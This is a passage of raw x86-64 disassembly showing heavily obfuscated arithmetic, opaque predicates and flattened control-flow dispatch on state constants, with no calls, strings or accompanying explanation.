or r15d, ecx
mov ecx, edx
not ecx
xor r15d, eax
mov eax, r14d
xor eax, 0x5e5eda6a
and eax, r14d
not edi
or edi, r15d
mov ebx, edx
and ebx, 0x69c56f2
and ecx, 0x58428808
or ecx, ebx
mov ebx, eax
not ebx
or edx, ebx
and ebx, 0x69c56f2
and eax, 0xf963a90d
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edi
not eax
and eax, 0x8d93bd36
and edi, 0x726c42c9
or edi, eax
mov eax, edx
not eax
and eax, 0x8d93bd36
and edx, 0x726c42c9
or edx, eax
xor ebp, 0x40021002
xor edx, edi
mov eax, r8d
and eax, 0xa3cce2e9
and ebp, 0x5c331d16
or ebp, eax
or r8d, r14d
and r14d, 0xa3cce2e9
and r10d, 0x5c331d16
or r10d, r14d
xor r10d, ebp
not r8d
or r8d, r10d
mov eax, r8d
not eax
and eax, 0x1d1c4f67
and r8d, 0xe2e3b098
or r8d, eax
mov ecx, r8d
xor ecx, 0xc2228018
xor r8d, 0x1d1c4f67
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x20c53182
and edx, 0xdf3ace7d
or edx, ebp
or eax, r8d
and r8d, 0x20c53182
and ecx, 0xdf3ace7d
or ecx, r8d
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x55c6e896
and eax, 0xaa391769
or eax, ecx
mov edx, eax
xor edx, 0x8291000
xor eax, 0x50004802
and eax, 0xf2104f6b
and edx, 0xdefb094
or edx, eax
mov eax, edx
xor eax, 0xf2104f6b
xor edx, 0xdefb094
mov ecx, esi
xor ecx, edx
and ecx, esi
and edx, esi
not esi
and esi, eax
or edx, esi
mov eax, ecx
not eax
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x9f40368b
and ecx, 0x60bfc974
or ecx, ebx
or eax, ebp
and ebp, 0x9f40368b
and edx, 0x60bfc974
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov edi, eax
not edi
mov edx, edi
and edx, eax
mov ecx, edi
and ecx, edx
xor edx, edi
or edx, ecx
mov ecx, edi
and ecx, 0x18c7a15
mov r8d, eax
and r8d, 0xfe7385ea
or r8d, ecx
mov ebp, edx
not ebp
xor edx, 0x18c7a15
and edx, ebp
or ebp, 0x18c7a15
mov ebx, edx
not ebx
mov esi, ebx
and esi, 0xf81f4658
and edx, 0x7e0b9a7
or edx, esi
mov ecx, ebp
not ecx
or ebx, ebp
and ebp, 0xf81f4658
and ecx, 0x66081a2
or ecx, ebp
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, r8d
not ecx
and ecx, ebx
not ebx
and ebx, r8d
mov edx, dword [0x1400c566c]
or ebx, ecx
and edi, 0x6dcec3
and eax, 0xff92313c
or eax, edi
mov ebp, ebx
not ebp
mov ecx, ebp
and ecx, 0xced4d02a
and ebx, 0x312b2fd5
or ebx, ecx
mov ecx, eax
xor ecx, 0x31022114
xor eax, 0x44c002
and eax, 0xced4d02a
and ecx, 0x312b2fd5
or ecx, eax
xor ecx, ebx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete r8b
setne al
cmp edx, 9
setg r11b
cmp edx, 0xa
setl r9b
mov r10d, eax
xor r10b, r8b
and al, r10b
mov ecx, eax
xor cl, 1
mov ebx, ecx
or bl, al
xor al, bl
xor al, 1
or bl, cl
xor bl, 1
or bl, al
mov edi, r11d
or dil, bl
xor bl, 1
or bl, r9b
xor bl, 1
xor dil, 1
mov eax, ebx
and al, dil
xor dil, bl
or dil, al
mov ecx, r11d
xor cl, r9b
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov r14d, ecx
xor r14b, 1
mov eax, r14d
and al, cl
mov edx, r14d
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov esi, eax
and al, r9b
mov edx, r9d
or dl, dil
xor dil, 1
mov r9d, edi
or r9b, r11b
mov ebp, r9d
xor bpl, dl
or r9b, dl
xor r9b, 1
or r9b, bpl
mov edx, r9d
xor dl, 1
xor r9b, dil
xor r9b, 1
or r9b, dl
mov edx, r10d
not dl
and dl, r10b
xor dl, 1
mov edi, r10d
xor dil, dl
or dl, r10b
xor dl, 1
or dl, dil
mov ebx, r14d
or bl, cl
xor bl, 1
xor sil, 1
mov ecx, esi
and cl, bl
xor bl, sil
or bl, cl
mov ecx, r11d
xor cl, bl
xor cl, 1
and cl, bl
or bl, r11b
xor bl, 1
mov r10d, ecx
and r10b, bl
xor bl, cl
or bl, r10b
mov r10d, edx
xor r10b, 1
and sil, r11b
or sil, al
mov eax, r11d
and al, r14b
xor r14b, r11b
or r14b, al
xor r14b, 1
mov eax, esi
and al, r14b
xor r14b, sil
or r14b, al
mov eax, r14d
xor al, 1
mov ecx, ebx
xor cl, 1
and al, cl
or cl, r14b
xor cl, 1
and r14b, bl
or r14b, al
mov eax, ecx
and al, r14b
xor r14b, cl
or r14b, al
and dl, r10b
mov ecx, r10d
and cl, dl
xor dl, r10b
mov eax, r10d
xor al, r8b
or al, r8b
mov r11d, eax
xor r11b, 1
or dl, cl
xor dl, r8b
mov r10d, edx
xor r10b, 1
mov esi, edx
and sil, r10b
mov ecx, esi
xor sil, dl
or dl, r11b
and r11b, al
xor r11b, 1
mov ebx, r11d
xor bl, al
or r11b, al
xor r11b, 1
or r11b, bl
mov r8d, r9d
xor r8b, 1
xor cl, 1
or cl, r10b
xor cl, 1
or cl, sil
mov ebx, r11d
xor bl, 1
and bl, cl
xor cl, 1
and cl, r11b
or cl, bl
xor r10b, al
xor dl, 1
or dl, r10b
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov r10d, r14d
xor r10b, 1
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov eax, edx
and al, bl
xor bl, dl
or bl, al
xor bl, 1
or dl, cl
mov eax, ebx
or al, dl
xor dl, bl
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
or r14b, dl
xor dl, 1
or dl, r10b
xor dl, 1
xor r14b, 1
mov eax, edx
and al, r14b
xor r14b, dl
or r14b, al
mov ebx, r14d
xor bl, 1
mov r11d, ebx
and r11b, r14b
mov ecx, ebx
and cl, r11b
xor r11b, bl
or r11b, cl
mov ecx, r9d
or cl, r11b
xor r11b, 1
or r11b, r8b
mov edx, r11d
xor dl, cl
or r11b, cl
xor r11b, 1
or r11b, dl
mov ecx, r11d
xor cl, 1
xor r11b, r9b
xor r11b, 1
or r11b, cl
mov ebp, r11d
xor bpl, 1
mov ecx, r14d
xor cl, bl
or bl, r14b
xor bl, 1
and cl, r14b
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, al
xor al, 1
xor bl, 1
or al, cl
xor al, 1
or al, bl
mov r10d, r9d
xor r10b, al
xor r10b, 1
and r10b, al
or al, r9b
xor r10b, 1
mov ecx, r10d
xor cl, al
or r10b, al
xor r10b, 1
or r10b, cl
mov r8d, r10d
xor r8b, 1
mov edi, r11d
or dil, bpl
mov eax, edi
xor al, 1
mov r9d, r10d
or r9b, r8b
mov ebx, eax
and bl, dil
mov esi, ebx
and sil, al
xor bl, al
or bl, sil
mov eax, r11d
and al, bpl
mov esi, eax
and sil, bpl
xor bpl, al
or bpl, sil
mov ecx, ebx
xor cl, 1
and cl, bpl
xor bpl, 1
and bpl, bl
mov ebx, r9d
xor bl, 1
or bpl, cl
mov ecx, edi
and cl, r11b
xor dil, r11b
or dil, cl
mov ecx, edi
xor cl, bpl
xor bpl, 1
xor cl, 1
or bpl, dil
xor bpl, 1
or bpl, cl
mov ecx, ebx
and cl, r9b
mov esi, ecx
and sil, bl
xor cl, bl
or cl, sil
xor cl, r10b
xor cl, 1
xor r9b, r8b
or bl, r10b
xor bl, 1
or bl, r9b
mov r9d, ecx
xor r9b, bl
or bl, cl
xor bl, 1
or bl, r9b
mov ecx, ebx
xor cl, 1
or cl, bpl
xor bpl, 1
or bpl, bl
mov ebx, ebp
xor bl, cl
or bpl, cl
xor bpl, 1
or bpl, bl
mov ecx, eax
and cl, r11b
xor al, r11b
or al, cl
mov ecx, eax
and al, r10b
xor cl, 1
and cl, r8b
or al, cl
mov ecx, r11d
xor cl, r8b
or r8b, r11b
xor r8b, 1
or r8b, cl
mov ecx, r8d
xor cl, al
xor al, 1
xor cl, 1
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ebp
xor dl, 1
and cl, dl
or dl, al
and al, bpl
or al, cl
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0xecb62c9
mov ebp, 0xd96c7573
cmovne ecx, ebp
test dl, 1
mov eax, 0xecb62c9
cmovne ecx, eax
test bl, 1
cmove ecx, ebp
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov eax, dword [0x1400c5670]
lea r11d, [rax - 1]
imul r11d, eax
mov r9d, r11d
not r9d
mov eax, r9d
and eax, 0x177e1aa5
mov edx, r11d
and edx, 0xe881e55a
or edx, eax
mov ebp, edx
xor ebp, 0x2080e110
xor edx, 0x177e1aa5
mov r8d, r9d
and r8d, r11d
mov edi, r8d
mov ecx, r9d
and ecx, 0xf44cfa0d
mov r14d, r11d
and r14d, 0xbb305f2
or r14d, ecx
xor r14d, 0xbb305f2
mov r10d, r14d
and r10d, r8d
xor r14d, r8d
not r8d
mov ecx, edx
and ecx, 0xcf030ceb
and ebp, 0x30fcf314
or ebp, ecx
or edx, r8d
and r8d, 0xcf030ceb
and edi, 0x30fcf314
or edi, r8d
xor edi, ebp
not edx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x1ceea781
and edx, 0xe311587e
or edx, ecx
mov ecx, edx
xor ecx, 0x80101834
and ecx, 0x80109a34
xor edx, 0x1cee2581
and edx, 0x7fef65cb
or edx, ecx
mov ecx, edx
xor ecx, 0x80109a34
and ecx, edx
mov edx, r9d
and edx, 0x379c9e71
mov ebx, r11d
and ebx, 0xc863618e
or ebx, edx
xor ebx, 0x4873fbba
mov edi, ebx
xor edi, r9d
and edi, ebx
mov ebp, ecx
not ebp
mov edx, edi
not edx
or ecx, 0xdac2c6ab
mov ebx, ecx
not ebx
mov esi, edi
xor esi, 0x253d3954
and esi, edx
mov r8d, ebp
and r8d, edx
xor edx, ebp
or ebp, 0x253d3954
mov eax, ebp
not eax
and edi, 0xdac2c6ab
and ecx, 0x3fbe0020
and ebx, 0x13954
or ebx, ecx
and ebp, 0x3fbe0020
and eax, 0xc040c68b
or eax, ebp
xor eax, ebx
mov ecx, esi
and ecx, edi
xor edi, esi
or edi, ecx
mov ecx, eax
not ecx
and ecx, 0x9c6b576b
and eax, 0x6394a894
or eax, ecx
mov ecx, edi
not ecx
and ecx, 0x9c6b576b
and edi, 0x6394a894
or edi, ecx
xor edi, eax
or edx, r8d
not edx
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov eax, edx
not eax
and eax, 0x210080
mov ecx, edx
and ecx, 0xc00e265c
or ecx, eax
xor ecx, 0xc00e265c
and edx, 0x3fd0d923
or edx, ecx
mov eax, edx
not eax
and eax, 0x403fbce8
and edx, 0xbfc04317
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xd4d307e0
and ecx, edx
not edx
and edx, 0x144205e0
and eax, 0xc0910200
or eax, edx
mov edx, eax
xor edx, 0xc0000000
xor eax, 0x3f6efdff
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xff98203
and edx, 0xd00205e0
or edx, ebx
or eax, ebp
and ebp, 0xff98203
and ecx, 0xf0067dfc
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe99f9094
and eax, 0x16606f6b
or eax, ecx
mov ecx, eax
xor ecx, 0x40314002
xor eax, 0x19448344
and eax, 0x9bc6abcd
and ecx, 0x64395432
or ecx, eax
mov eax, ecx
xor eax, 0x9bc6abcd
xor ecx, 0x20080000
and ecx, 0x21880000
mov edx, eax
and edx, 0x9002c450
or edx, ecx
xor edx, 0x9002c450
and eax, 0x4e753baf
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x4e753baf
and eax, 0xb18ac450
or eax, ecx
mov ebx, eax
not ebx
and eax, 0xe28f377
and ebx, 0xf1d70c88
or ebx, eax
mov esi, ebx
xor esi, 0xf1d70c88
or r14d, r10d
and r9d, 0xc020bf03
and r11d, 0x3fdf40fc
or r11d, r9d
mov ecx, r11d
xor ecx, 0x290700d0
mov edx, r14d
not edx
mov eax, edx
and eax, 0x96d86f2f
and r14d, 0x692790d0
or r14d, eax
xor r11d, 0x80002f03
and r11d, 0x96d86f2f
and ecx, 0x692790d0
or ecx, r11d
xor ecx, r14d
not ecx
or ecx, edx
mov edx, ecx
mov r8d, ecx
xor r8d, 0x1cc6d638
and r8d, ecx
mov eax, ecx
not eax
and edx, 0x33dc2b04
mov ecx, eax
and ecx, 0xcc23d4fb
or ecx, edx
mov edx, ecx
xor edx, 0xcc23d4fb
xor ebx, 0xe28f377
and edx, ebx
xor ecx, 0x33dc2b04
and ecx, esi
or ecx, edx
not ecx
or ecx, ebx
mov edx, ebx
and edx, 0x4a987a9b
and esi, 0xb5678564
or esi, edx
mov ebp, esi
xor ebp, 0x21000100
xor esi, 0x80802
or ebx, 0xe33929c7
mov edx, ebx
not edx
and eax, 0x1cc6d638
or esi, 0x8805600
and esi, 0x88a95e46
and ebp, 0x63102181
or ebp, esi
and ebx, 0x88a95e46
and edx, 0x14468038
or edx, ebx
xor edx, ebp
mov edi, r8d
and edi, eax
xor eax, r8d
or eax, edi
mov ebp, edx
not ebp
and ebp, eax
not eax
and eax, edx
or eax, ebp
mov edx, eax
and eax, ecx
not ecx
not edx
mov ebp, ecx
xor ebp, edx
and ebp, ecx
and edx, ecx
or edx, eax
mov ebx, ebp
not ebx
mov eax, edx
not eax
mov ecx, ebx
and ecx, 0x6e01e272
and ebp, 0x91fe1d8d
or ebp, ecx
or ebx, eax
and eax, 0x6e01e272
and edx, 0x91fe1d8d
or edx, eax
xor edx, ebp
not ebx
or ebx, edx
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0x104afdbb
mov edx, ebx
and edx, 0xefb50244
or edx, ebp
mov ebp, edx
xor ebp, 0x44010000
xor edx, 0x1040ec21
mov ecx, ebx
xor ecx, 0x5d45ec25
and ecx, ebx
or edx, 0xa2ba13da
mov edi, ecx
not edi
mov esi, edx
and esi, 0x3b66ebc4
and ebp, 0x44010421
or ebp, esi
or edx, edi
and edi, 0x3b66ebc4
and ecx, 0xc499143b
or ecx, edi
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xda57e68b
and edx, 0x25a81974
or edx, ecx
mov r8d, edx
xor r8d, 0x87120aaf
xor edx, 0x78edf550
mov ecx, eax
and ecx, edx
and r8d, ebx
or r8d, ecx
not r8d
or r8d, edx
mov r11d, r8d
not r11d
mov ecx, eax
and ecx, 0x83e6b828
mov edx, ebx
and edx, 0x14104485
or edx, ecx
xor edx, 0x14104485
mov ecx, ebx
and ecx, 0x68090352
or ecx, edx
mov edx, ecx
not edx
and edx, 0x68090352
and ecx, 0x97f6fcad
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf9b31f23
and ecx, 0x64ce0dc
or ecx, edx
mov ebp, ecx
xor ebp, 0xf9b31f23
and ebp, ecx
and ebx, 0xc769a33b
mov ecx, eax
and ecx, 0x38965cc4
or ecx, ebx
xor ecx, 0xc12543e7
and eax, 0x64ce0dc
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x718d54bb
and eax, 0x8e72ab44
or eax, ecx
mov ecx, eax
xor ecx, 0x4020100
xor eax, 0x718d54bb
mov ebx, ebp
xor ebx, eax
and ebx, ebp
mov edx, ebp
not edx
and edx, 0xcbf0aae5
and ebp, 0x340f551a
or ebp, edx
and eax, 0xcbf0aae5
and ecx, 0x340f551a
or ecx, eax
xor ecx, ebp
mov eax, ebx
not eax
mov edx, ecx
not edx
mov ebp, eax
and ebp, 0x5211b8e8
and ebx, 0xadee4717
or ebx, ebp
or eax, edx
and edx, 0x5211b8e8
and ecx, 0xadee4717
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ebp, eax
mov ecx, eax
xor ecx, 0xf9b31f22
and ecx, eax
not eax
and eax, 0x7abca494
and ebp, 0x85435b6b
or ebp, eax
mov eax, ebp
xor eax, 0x1010b00
xor ebp, 0x78b00400
or ebp, 0x64ce0dd
mov edx, ecx
not edx
mov edi, ebp
and edi, 0x8c3a742f
and eax, 0x71810b00
or eax, edi
or ebp, edx
and edx, 0x8c3a742f
and ecx, 0x73c58bd0
or ecx, edx
xor ecx, eax
not ebp
or ebp, ecx
mov r15d, r8d
and r15d, r11d
mov ecx, r8d
and ecx, r15d
xor r15d, r8d
or r15d, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x130fa10f
mov r10d, ebp
xor r10d, 0x130fa10f
and r10d, ebp
mov ebx, edx
and ebx, r10d
xor r10d, edx
or r10d, ebx
mov edx, r10d
not edx
and edx, 0xecf05ef0
and r10d, 0x130fa10f
or r10d, edx
mov r9d, r15d
not r9d
mov edx, r9d
and edx, 0x588e7985
mov edi, r15d
and edi, 0xa771867a
or edi, edx
mov esi, edi
xor esi, r9d
and esi, edi
mov edx, r8d
and edx, 0xc0f5b937
and r11d, 0x3f0a46c8
or r11d, edx
xor r11d, 0x987bc0b2
or r11d, r8d
mov edx, r11d
not edx
mov r8d, r10d
not r8d
mov edi, r8d
and edi, 0xf60b2bc2
mov ebx, r10d
and ebx, 0x9f4d43d
or ebx, edi
xor ebx, 0xae855247
mov edi, ebx
xor edi, r8d
and edi, ebx
and ecx, 0xa771867a
xor ebp, 0x588e7985
or ebp, ecx
mov r14d, ebp
not r14d
mov ecx, esi
xor ecx, r11d
and ecx, esi
mov ebx, esi
not ebx
and ebx, 0x94c571c0
and esi, 0x6b3a8e3f
or esi, ebx
and r11d, 0x94c571c0
and edx, 0x6b3a8e3f
or edx, r11d
xor edx, esi
mov r11d, ecx
not r11d
mov esi, edx
not esi
mov ebx, r11d
and ebx, 0x1fdaab60
and ecx, 0xe025549f
or ecx, ebx
or r11d, esi
and esi, 0x1fdaab60
and edx, 0xe025549f
or edx, esi
xor edx, ecx
not r11d
or r11d, edx
mov eax, edi
mov ecx, edi
xor ecx, 0xd74eca4d
and ecx, edi
not edi
and edi, 0x84523abc
and eax, 0x7badc543
or eax, edi
mov r12d, eax
xor r12d, 0x7badc543
mov edx, ebp
and edx, 0x976ed9ef
and r14d, 0x68912610
or r14d, edx
mov esi, eax
xor esi, 0x531cf0f1
and esi, r12d
mov ebx, esi
not ebx
mov edx, ebx
and edx, 0x7e31bf56
and esi, 0x81ce40a9
or esi, edx
mov edx, ecx
not edx
or ebx, edx
and edx, 0x7e31bf56
and ecx, 0x81ce40a9
or ecx, edx
mov edx, r14d
xor r14d, 0x976ed9ef
xor ecx, esi
mov edi, r14d
or edi, 0x28b135b2
not ebx
or ebx, ecx
mov esi, edi
not esi
or ebp, 0xd74eca4d
and edi, 0xa9f17024
and esi, 0x560e8a49
or esi, edi
mov ecx, ebp
not ecx
and ebp, 0xa9f17024
and ecx, 0x592
or ecx, ebp
xor ecx, esi
mov esi, ebx
not esi
and esi, 0xd8eecc88
and ebx, 0x27113377
or ebx, esi
mov esi, ecx
not esi
and esi, 0xd8eecc88
and ecx, 0x27113377
or ecx, esi
xor edx, 0x20100010
xor ecx, ebx
xor eax, 0x84523abc
mov esi, eax
and esi, 0x4a89f66f
and r12d, 0xb5760990
or r12d, esi
or eax, r14d
and r14d, 0x4a89f66f
and edx, 0xb5760990
or edx, r14d
xor edx, r12d
not eax
or eax, edx
not eax
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, r11d
not ecx
and ecx, 0x2417e5a9
mov r14d, r11d
and r14d, 0xdbe81a56
or r14d, ecx
mov ecx, eax
not ecx
xor r14d, 0x2417e5a9
or r14d, ecx
mov edx, r14d
not edx
and ecx, 0xaa2f8274
and eax, 0x55d07d8b
or eax, ecx
xor eax, r11d
xor eax, 0xaa2f8274
and eax, r11d
mov ecx, eax
not ecx
mov ebx, r14d
and ebx, 0xa9df8fcb
and edx, 0x56207034
or edx, ebx
or r14d, ecx
and ecx, 0xa9df8fcb
and eax, 0x56207034
or eax, ecx
xor eax, edx
not r14d
or r14d, eax
mov eax, r9d
and eax, 0x9286606c
and r15d, 0x6d799f93
or r15d, eax
mov ebp, r15d
xor ebp, 0x6d799f93
mov eax, r15d
xor eax, 0x45e3a079
and eax, ebp
or r9d, 0xd765c015
mov ebx, r9d
not ebx
mov ecx, r8d
and ecx, 0xd765c015
mov edx, r10d
and edx, 0x289a3fea
or edx, ecx
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0xe7646333
and eax, 0x189b9ccc
or eax, edi
or ecx, r9d
and r9d, 0xe7646333
and ebx, 0x89a1cc8
or ebx, r9d
xor ebx, eax
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xe52d633a
and ecx, 0x1ad29cc5
or ecx, eax
mov eax, edx
not eax
and eax, 0xe52d633a
and edx, 0x1ad29cc5
or edx, eax
xor edx, ecx
xor r15d, 0x9286606c
mov eax, r15d
and eax, 0xa323efac
and ebp, 0x5cdc1053
or ebp, eax
or r15d, r10d
and r10d, 0xa323efac
and r8d, 0x5cdc1053
or r8d, r10d
xor r8d, ebp
not r15d
or r15d, r8d
not r15d
mov eax, edx
and eax, r15d
xor r15d, edx
or r15d, eax
mov eax, r15d
not eax
and eax, 0xaed19b73
and r15d, 0x512e648c
or r15d, eax
mov eax, r15d
xor eax, 0x400a6488
xor r15d, 0xae518870
and r15d, 0xbf758874
and eax, 0x408a778b
or eax, r15d
mov ebp, eax
xor ebp, 0x94610840
xor eax, 0x408a778b
mov ecx, eax
and ecx, 0x6b94d53d
and ebp, 0x946b2ac2
or ebp, ecx
xor ebp, 0x946b2ac2
or ebp, eax
mov esi, r14d
xor esi, 0x323835c0
and esi, r14d
mov eax, r14d
not eax
mov ecx, eax
mov r8d, ebp
mov edx, ebp
mov ebx, eax
and ebx, ebp
xor eax, ebp
not ebp
and ecx, 0x323835c0
and r8d, 0x323835c0
xor edx, 0xcdc7ca3f
and edx, ebp
mov edi, ecx
and edi, esi
xor esi, ecx
or esi, edi
mov ebp, r8d
and ebp, edx
xor edx, r8d
or edx, ebp
mov ecx, esi
not ecx
and ecx, 0x69353f50
and esi, 0x96cac0af
or esi, ecx
mov ecx, edx
not ecx
and ecx, 0x69353f50
and edx, 0x96cac0af
or edx, ecx
xor edx, esi
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x24021214
and eax, 0xdbfdedeb
or eax, ecx
mov ecx, eax
xor ecx, 0x829c6900
xor eax, 0x24021214
mov r9d, edx
not r9d
mov ebp, r9d
and ebp, 0x596186fb
and edx, 0xa69e7904
or edx, ebp
or r9d, eax
and eax, 0x596186fb
and ecx, 0xa69e7904
or ecx, eax
xor ecx, edx
not r9d
or r9d, ecx
mov r8d, r9d
not r8d
mov eax, r9d
or eax, 0xfb9071f7
mov ecx, eax
not ecx
mov edx, r8d
or edx, 0x46f8e08
mov ebp, edx
not ebp
and eax, 0x71bb66d
and ecx, 0x640800
or ecx, eax
and edx, 0x71bb66d
and ebp, 0xf8804192
or ebp, edx
xor ebp, ecx
mov eax, ebp
not eax
and eax, 0xe8838843
and ebp, 0x177c77bc
or ebp, eax
mov eax, ebp
xor eax, 0x8c0c0040
and eax, 0x8c0fd974
xor ebp, 0x60e3df3f
or ebp, eax
mov eax, ebp
not eax
and eax, 0x39a30eb5
and ebp, 0xc65cf14a
or ebp, eax
mov edx, ebp
xor edx, 0xc65cf14a
mov ecx, ebp
xor ecx, 0x31820a80
mov ebx, r8d
and ebx, 0x79576fd5
mov eax, r9d
and eax, 0x86a8902a
or eax, ebx
xor eax, 0xf558b6a1
or eax, r8d
mov esi, eax
not esi
and ecx, 0xf7c22ac0
xor ebp, 0xcc84a35f
and ebp, edx
and edx, 0x83dd53f
or edx, ecx
mov r10d, edx
mov ecx, eax
and ecx, 0x405b7db2
xor eax, 0xf527adea
and eax, esi
and esi, 0xbfa4824d
or esi, ecx
mov r11d, esi
xor r11d, 0xbfa4824d
xor edx, 0xf7c22ac0
mov edi, edx
or edi, 0xf527adea
mov ecx, edi
not ecx
mov ebx, edi
and ebx, 0x2b65f619
and ecx, 0x980004
or ecx, ebx
mov ebx, ebp
not ebx
or edi, ebx
and ebx, 0x2b65f619
and ebp, 0xd49a09e6
or ebp, ebx
mov ebx, esi
xor ebx, 0x4a832fa7
and ebx, r11d
xor ebp, ecx
not edi
or edi, ebp
mov ebp, ebx
not ebp
mov ecx, ebp
and ecx, 0xd86febee
and ebx, 0x27901411
or ebx, ecx
mov ecx, eax
not ecx
or ebp, ecx
and ecx, 0xd86febee
and eax, 0x27901411
or eax, ecx
xor eax, ebx
not ebp
or ebp, eax
mov eax, edi
not eax
and eax, ebp
not ebp
and ebp, edi
xor r10d, 0x819853e
or ebp, eax
xor esi, 0x405b7db2
mov eax, edx
and eax, 0xb7267841
and r10d, 0x48d987be
or r10d, eax
or edx, esi
and esi, 0xb7267841
and r11d, 0x48d987be
or r11d, esi
xor r11d, r10d
not edx
or edx, r11d
mov eax, edx
not eax
and eax, 0xbf5d5921
and edx, 0x40a2a6de
or edx, eax
xor edx, 0x40a2a6de
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
mov eax, edx
not eax
and eax, 0x88055120
mov ecx, edx
and ecx, 0x40a8854
or ecx, eax
xor ecx, 0x40a8854
and edx, 0x73f0268b
or edx, ecx
mov eax, edx
not eax
and eax, 0x491b1a27
and edx, 0xb6e4e5d8
or edx, eax
mov eax, edx
xor eax, 0xa6e06140
xor edx, 0x491b1a27
mov ecx, edx
and ecx, 0x5816869c
and eax, 0xa7e97963
or eax, ecx
mov ecx, eax
xor ecx, 0xa7e97963
xor eax, 0xab409988
and eax, ecx
or edx, 0xf3561f14
mov ebp, edx
not ebp
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0x4f537d50
and eax, 0xb0ac82af
or eax, ebx
or ecx, edx
and edx, 0x4f537d50
and ebp, 0xa880ab
or ebp, edx
xor ebp, eax
not ecx
or ecx, ebp
mov eax, ecx
and eax, 0x319d6e9e
not ecx
and ecx, 0xce629161
or ecx, eax
mov eax, ecx
not eax
and eax, 0xdb186704
and ecx, 0x24e798fb
or ecx, eax
mov eax, ecx
xor eax, 0x24e798fb
xor ecx, 0xd9102000
and ecx, 0xf97720e3
mov edx, eax
and edx, 0x688df1c
or edx, ecx
xor edx, 0x3bbc5169
and eax, 0xc2cb718a
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x734d8e4e
and eax, 0x8cb271b1
or eax, ecx
mov r10d, eax
xor r10d, 0x8cb271b1
xor eax, 0x734d8e4e
mov ecx, r8d
or ecx, 0x3d348e75
mov edi, ecx
not edi
mov edx, r9d
or edx, 0x821108
and edx, 0x1969569
mov ebx, r8d
and ebx, 0x3c200a14
or ebx, edx
and ecx, 0x1969569
and edi, 0xc2496082
or edi, ecx
xor edi, ebx
mov ecx, edi
not ecx
mov edx, edi
and edx, 0xe36f3fbf
and ecx, 0x1c90c040
or ecx, edx
or edi, r9d
and r9d, 0xe36f3fbf
and r8d, 0x1c90c040
or r8d, r9d
xor r8d, ecx
not edi
or edi, r8d
mov edx, edi
not edx
mov ecx, edi
and ecx, eax
and edx, r10d
or edx, ecx
mov ebp, edx
xor ebp, eax
and ebp, edx
and eax, 0x5d0aaa51
and r10d, 0xa2f555ae
or r10d, eax
mov eax, edi
xor eax, 0xa2f555ae
and eax, edi
or edi, 0x5d0aaa51
mov ebx, edi
not ebx
mov edx, eax
not edx
mov esi, edx
and esi, 0x370166e
and eax, 0xfc8fe991
or eax, esi
or edx, edi
and edi, 0x370166e
and ebx, 0xa0854180
or ebx, edi
xor ebx, eax
not edx
or edx, ebx
mov eax, r10d
not eax
and eax, edx
not edx
and edx, r10d
or edx, eax
mov ecx, ebp
not ecx
and ecx, 0x25fac552
mov eax, ebp
and eax, 0xda053aad
or eax, ecx
mov r8d, eax
xor r8d, 0xda053aad
mov r9d, edx
not r9d
mov edi, eax
xor edi, 0x32b02d9
and edi, r8d
and ebp, 0xd92e3874
mov ecx, edx
or ecx, 0xd92e3874
mov ebx, edi
and ebx, ebp
xor ebp, edi
mov esi, ecx
not esi
or ebp, ebx
mov ebx, r9d
or ebx, 0x26d1c78b
and ecx, 0x8c1934ee
and esi, 0x22c0c301
or esi, ecx
mov edi, ebx
not edi
and ebx, 0x8c1934ee
and edi, 0x51260810
or edi, ebx
xor edi, esi
mov ecx, ebp
not ecx
and ecx, 0x2b475c97
and ebp, 0xd4b8a368
or ebp, ecx
mov ecx, edi
not ecx
and ecx, 0x2b475c97
and edi, 0xd4b8a368
or edi, ecx
xor edi, ebp
xor eax, 0x25fac552
mov ecx, eax
and ecx, 0x98767498
and r8d, 0x67898b67
or r8d, ecx
or eax, edx
and edx, 0x98767498
and r9d, 0x67898b67
or r9d, edx
xor r9d, r8d
not eax
or eax, r9d
mov ecx, eax
not ecx
and ecx, 0x88e5a1e0
and eax, 0x771a5e1f
or eax, ecx
xor eax, 0x771a5e1f
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ebx, eax
not ebx
mov ecx, eax
mov edi, ebx
and edi, eax
mov ebp, ebx
and ebp, 0xaeff66ad
and eax, 0x51009952
or eax, ebp
xor eax, 0x5bc1360f
or eax, ebx
and ebx, 0x41afef14
and ecx, 0xbe5010eb
or ecx, ebx
